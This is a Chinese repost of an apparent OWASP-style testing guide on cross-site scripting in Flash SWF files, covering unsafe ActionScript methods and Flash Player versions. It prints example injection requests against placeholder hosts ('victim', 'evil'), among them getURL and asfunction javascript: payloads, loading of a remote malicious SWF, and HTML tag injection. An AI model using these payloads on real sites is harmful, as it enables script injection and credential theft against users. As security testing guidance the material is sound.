码迷,mamicode.com
首页 > 其他好文 > 详细

FLASH 跨站脚本测试

时间:2015-08-13 18:18:45      阅读:219      评论:0      收藏:0      [点我收藏+]

标签:

概述

ActionScript 是基于ECMAScript 的一种语言。当处理交互需求时,Flash 应用程序会使用此语言。和其它语言一样,
ActionScript 有一些可能会导致安全问题的实施模式。特别是,因为Flash 应用往往嵌入浏览器中,基于DOM的跨站脚本等漏洞同样可以在有缺陷的Flash 应用存在。

 问题描述

自从“Flash 应用测试”[1]第一次出版,FlashPlayer 就发布了新版本以便缓和书中所描述的攻击威胁。然而,由
于它很大程度上取决于开发商不安全的编程方法,有些部分仍然会存在可开发的漏 洞。。

 

灰盒测试实例

反编译

由于SWF文件是由嵌入播放器本身的虚拟机翻译的,他们存在被破解和分析的潜 在风险。最知名的免费的
ActionScript2.0破解版是flare。
为了使用flare 破解SWF文件,请输入:

$ flare hello.swf

这将会产生名为hello.flr 的新文件。
因为它从黑盒测试到白盒测试,反编译可以在测试过程中提供一些帮助。
ActionScript3.0 目前没有免费破解版。

未定义的变量

由于URL 查询字符串参数将_root 或_global 对象的每个成员实例化了,导致ActionScript2开始运行。因此通过查看
每个属于_root 和_global对象的未定义属性,可以得到ActionScript2的入口点。这意味着,如果下面的属性:
_root.varname
导致代码流中某个点“未定义”,它可能通过设置重写
http://victim/file.swf?varname=value
例如:

  movieClip 328 __Packages.Locale {

    #initclip
      if (!_global.Locale) {
         var v1 = function (on_load) {
           var v5 = new XML();
           var v6 = this;
           v5.onLoad = function (success) {
             if (success) {
               trace(‘Locale loaded xml‘);
               var v3 = this.xliff.file.body.$trans_unit;
               var v2 = 0;
               while (v2 < v3.length) {
                 Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
                 ++v2;
               }
               on_load();
             } else {}
           };
           if (_root.language != undefined) {
             Locale.DEFAULT_LANG = _root.language;
           }
           v5.load(Locale.DEFAULT_LANG + ‘/player_‘ +
                                Locale.DEFAULT_LANG + ‘.xml‘);
         };

通过下面请求可能遭受攻击:

http://victim/file.swf?language=http://evil

不安全的方法

确认入口点后,不安全方法使用可能利用入口点所代表的数据。如果没有使用正确 的regexp 过滤或验证数据将会产
生安全问题。

版本r47的不安全的方法有:

loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( ‘url‘ )
LoadVars.load ( ‘url‘ )
Sound.loadSound( ‘url‘ , isStreaming );
NetStream.play( ‘url‘ );
flash.external.ExternalInterface.call(_root.callback)

                                                                                

htmlText

测试

将SWF 文件存放在受害者主机上并使用反射式XSS 技术利用漏洞。这就迫使浏览器直接在地址栏中加载一个纯粹的
SWF 文件(由复位向或社会工程学)或通过恶意网页的iframe 加载:

<iframe src=‘http://victim/path/to/file.swf‘></iframe>
这是因为在这种情况下就像存储在受害主机上一样,浏览器将自动产生HTML网 页。
跨站脚本
GetURL:
该GetURL 功能让movie装载URI 进入浏览器视窗。因此,如果getURL 中使用未定义变量作为第一个参数:
getURL(_root.URI,‘_targetFrame‘);
这意味着它可以通过以下请求在托管movie 的相同的域名中调用JavaScript:
http://victim/file.swf?URI=javascript:evilcode
getURL(‘javascript:evilcode‘,‘_self‘);
同样,当只有部分getURL 受控时(Dom 注入和FlashJavaScript注入),情况相同:

getUrl(‘javascript:function(‘+_root.arg+‘))

asfunction:
asfunction:
aassffuunnccttiioonn::

您可以使用特殊asfunction 协议产生链接,然后在SWF文件中执行ActionScript 函数而不是打开一个网址。

(Adobe.com)。释放FlashPlayer 的r48后,每个包含URL 作为参数的方法都能使用asfunction。这就意味着,测

试者可以尝试注入:

asfunction:getURL,javascript:evilcode
in every unsafe method like:
loadMovie(_root.URL)

通过请求:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

ExternalInterface:
ExternalInterface:
EExxtteerrnnaallIInntteerrffaaccee::

ExternalInterface.call 是Adobe引进的用户提升播放器/浏览器交互功能的静态方法。从安全角度来看,当控制了其

部分参数时,它可能会被滥用:

flash.external.ExternalInterface.call(_root.callback);

这种漏洞的攻击模式如下:

eval(evilcode)

而浏览器执行的内部Java 语言类似于:

eval(‘try { __flash__toXML(‘+__root.callback+‘) ; } catch (e) { "<undefined/>"; }‘)

HTML 注入

通过以下设置,TextField 对象可能提供最小的HTML:

tf.html = true
tf.htmlText = ‘<tag>text</tag>‘

因此,如果测试者控制了部分文本,可能注入A标签或者IMG标签导致修改 GUI 或XSS 浏览器。

A标签的攻击案例如下:

    ?  直接跨站脚本:<a href=‘javascript:alert(123)‘>

    ?  呼叫的功能:<ahref=‘asfunction:function,arg‘>

    ?  呼叫的SWF 公共职能<ahref=‘asfunction:_root.obj.function,arg‘>

    ?  呼叫本地固定的功能<a href=‘asfunction:System.Security.allowDomain,evilhost‘>

同样可以使用IMG的标签:

<img src=‘http://evil/evil.swf‘>
<img src=‘javascript:evilcode//.swf‘ > (.swf is necessary to bypass flash player internal
filter)

注:虽然FlashPlayer 跨站脚本124 不再容易被利用,但仍然能修改GUI。

Flash    CrossSiteFlashing
Flash    CrossSiteFlashing
FFllaasshh跨站 CCrroossssSSiitteeFFllaasshhiinngg

Flash 跨站(XSF)是和XSS 有相同影响的漏洞。

XSF 发生在不同域名中:

    ?  一个movie使用loadmovie*函数或其它黑客技术加载另一个movie,并进入同一个沙盒或其中一部分

    ?  当HTML 页面使用JavaScript 来命令使用AdobeFlashmovie 时也可能发生XSF。例如,调用:



            o   GetVariable:作为字符串从Javascript 进入flash公共和静态对象。

            o   SetVariable:从Javascript 给新的字符串设置一个静态的或公共flash对象。

    ?   意外浏览器的swf 通信可能导致窃取swf 应用数据。

通过迫使有缺陷的swf装载外部恶意Flash文件执行此功能。

这种攻击可能导致跨站脚本或GUI修改,以欺骗用户在虚假的flash 表格中插入凭据。

当使用loadmovie*方法时,可以在FlashHTML 注入或外部SWF文件中使用XSF。

       FlashPlayer
       FlashPlayer
攻击和FFllaasshhPPllaayyeerr版本

自2007 年5月,Adobe发布了FlashPlayer 的三个新版本。每个新版本都阻止了以前描述的攻击。

| Attack            | asfunction | ExternalInterface | GetURL  | Html Injection |

|PlayerVersion |

| v9.0 r47/48       |  Yes         |    Yes               | Yes       |      Yes          |

| v9.0 r115         |  No          |    Yes               | Yes       |      Yes          |

| v9.0 r124         |  No          |    Yes               | Yes       |      Partially  |

预期结果:

跨站点脚本和跨站flash是有缺陷的SWF 文件的预期结果。
 


 工具

   ?   SWFIntruder:https://www.owasp.org/index.php/Category:SWFIntruder
   ?   Decompiler–Flare: http://www.nowrap.de/flare.html
   ?   Compiler–MTASC:<http://www.mtasc.org/>
   ?   Disassembler–Flasm:<http://flasm.sourceforge.net/>
   ?   Swfmill–ConvertSwftoXMLandviceversa:<http://swfmill.org/>
   ?   DebuggerVersionofFlashPlugin/Player:<http://www.adobe.com/support/flash/downloads.html

FLASH 跨站脚本测试

标签:

原文地址:http://my.oschina.net/u/1777508/blog/491987

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!